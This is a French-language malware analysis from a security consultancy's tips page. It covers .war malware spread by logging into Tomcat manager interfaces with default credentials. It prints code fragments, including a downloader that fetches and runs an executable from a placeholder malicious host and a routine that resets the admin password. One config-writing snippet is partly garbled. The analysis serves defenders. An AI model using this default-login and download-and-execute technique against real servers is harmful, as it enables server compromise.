HSC
Network Security Consulting Agency Since 1989 - Specialized in Unix, Windows, TCP/IP and Internet
Text mode: access to the page content
Hervé Schauer Consultants
You are here: Home > Resources > Tips > Malwar(e)
Go to: HSC Trainings
Télécharger le catalogue des formations
Search:  
Version française
   Services   
o Skills & Expertise
o Consulting
o ISO 27001 services
o Audit & Assessment
o Penetration tests
o Vunerability assessment (TSAR)
o Forensics
o ARJEL
o Training courses
o E-learning
   Conferences   
o Agenda
o Past events
o Tutorials
   Resources   
o Thematic index
o Tips
o Lectures
o Courses
o Articles
o Tools (download)
o Vulnerability watch
   Company   
o Hervé Schauer
o Team
o Job opportunities
o Credentials
o History
o Partnerships
o Associations
   Press and
 communication
 
 
o HSC Newsletter
o Bulletin juridique HSC
o Press review
o Press releases
o Publications
   Contacts   
o How to reach us
o Specific inquiries
o Directions to our office
o Hotels near our office
|>|Malwar(e)  

by Louis Nyffenegger (24/11/08)



-- [ Malwar(e) ]--------------------------------------------------------

Cet article présente le fonctionnement de certains malwares utilisant les
interfaces d'administration des serveurs Tomcat pour se déployer. 


--[ 1. Introduction ]---------------------------------------------------

S'il est une vulnérabilité qui m'amuse particulièrement et qui revient
régulièrement lors des tests d'intrusion, c'est la présence d'interfaces
d'administration Tomcat avec un couple identifiant/mot de passe trivial.

Le 4 octobre 2008, un mail sur la liste de développement de Tomcat
annonce l'existence de malwares utilisant cette vulnérabilité pour 
en installer d'autres sur des serveurs.


--[ 2. Exploitation ]---------------------------------------------------

L'exploitation de cette vulnérabilité est extrêmement simple. Pour cela,
un simple navigateur suffit, utilisé pour se connecter sur l'interface
d'administration (http://monserveur/manager/html), avant de trouver 
l'identifiant et le mot de passe "quivontbien" : 
    - tomcat/tomcat
    - admin/

Ensuite, il suffit de choisir une archive .war à déployer sur le
serveur.

Cette technique est utilisée par des personnes malveillantes pour
déployer des archives tout aussi malveillantes (Malwar) sur les
serveurs mal sécurisés.

Plusieurs variantes de ces archives existent :
    - 11111.war ;
    - fexcepkillshell.war ;
    - fexcepspshell.war ;
    - fexception.war ;
    - ...


--[ 3. Action Post-déploiement ]----------------------------------------

Après déploiement, un client se connecte à l'application malveillante
tout juste déployée sur la page index.jsp.

Dans la totalité des malwares étudiés, ceux-ci vérifient dans un premier
temps qu'il s'agit d'un serveur Windows : 

    sys=System.getProperty("os.name");
    int i=sys.indexOf("Windows");
    AutoKill ak=new AutoKill();
    if (i>-1)
    {

Cette vérification permet au malware de s'assurer que les programmes qui
seront exécutés par la suite sont compatibles avec le système infecté.
De plus, les serveurs Tomcat fonctionnent la plupart du temps sous
l'identitée "NT AUTHORITY\System". Ceci assure une compromission simple
et totale.

Le malwar(e) essaie ensuite de télécharger ses cousins sur des sites 
compromis ou malveillants :

  if (ak.exeFile())

où exeFile fait un simple appel à downFile :

  private boolean exeFile()
  {
    boolean afly=false;
      if (downFile(url,filesrc1))
      afly=true;
        [...]

et downFile(url,filesrc1) permet de télécharger et d'exécuter un fichier.
Par exemple :
 - Le serveur hébergeant le programme à télécharger.
   String url = "http://serveurmalveillant/down/30pc.exe"

 - Le nom de fichier sous lequel le programme sera sauvgardé.
    filesrc1 = request.getSession().getServletContext().getRealPath("")
                + "/init1.exe"

Enfin, afin de ne pas se faire recompromettre la machine, le malware
change le mot de passe par défaut dans la configuration de tomcat : 

    String s="\r\n";
    s=s+"\r\n";
    s=s+"\t\r\n";
    s=s+"\t\r\n";
    s=s+"\t\r\n";
    s=s+"\t\r\n";
    s=s+"\t\r\n";
    s=s+"";

La variable "pass" est un mot de passe aléatoire généré par la fonction
randomPass() :

  private String randomPass()
  {
    StringBuffer pass = new StringBuffer();
    int i =0;
    while(i<5)
    {
     i=(int)(Math.random()*12);
    }

    for(int j=0;j<=i;j++)
    {
      char c = (char)(Math.random()* 26 + 'A');
      pass.append(c);
    }
    return pass.toString()+String.valueOf(((int)(Math.random()*10000)));
  }


Des variantes de ces malwares utilisent par exemple un en-tête HTTP
renseigné par le client pour obtenir l'url de téléchargement des
malware :
 
    url = request.getHeader("Cache-Vip-Url");

Autrement, le programme est directement intégré dans l'archive war.


--[ 4. Conclusion ]-----------------------------------------------------

Cette brève vous a présenté le déploiement d'un malware via 
l'interface administration d'un serveur Tomcat.

        -- Louis Nyffenegger  --


--[ 5. Liens ]----------------------------------------------------------

- Le mail d'origine sur la mailing-list de Tomcat
    URL:http://marc.info/?l=tomcat-dev&m=122312090005568

- Le site du projet Tomcat
  URL:http://tomcat.apache.org




Last modified on 26 November 2008 at 10:12:11 CET - webmaster@hsc.fr
Mentions légales - Information on this server - © 1989-2013 Hervé Schauer Consultants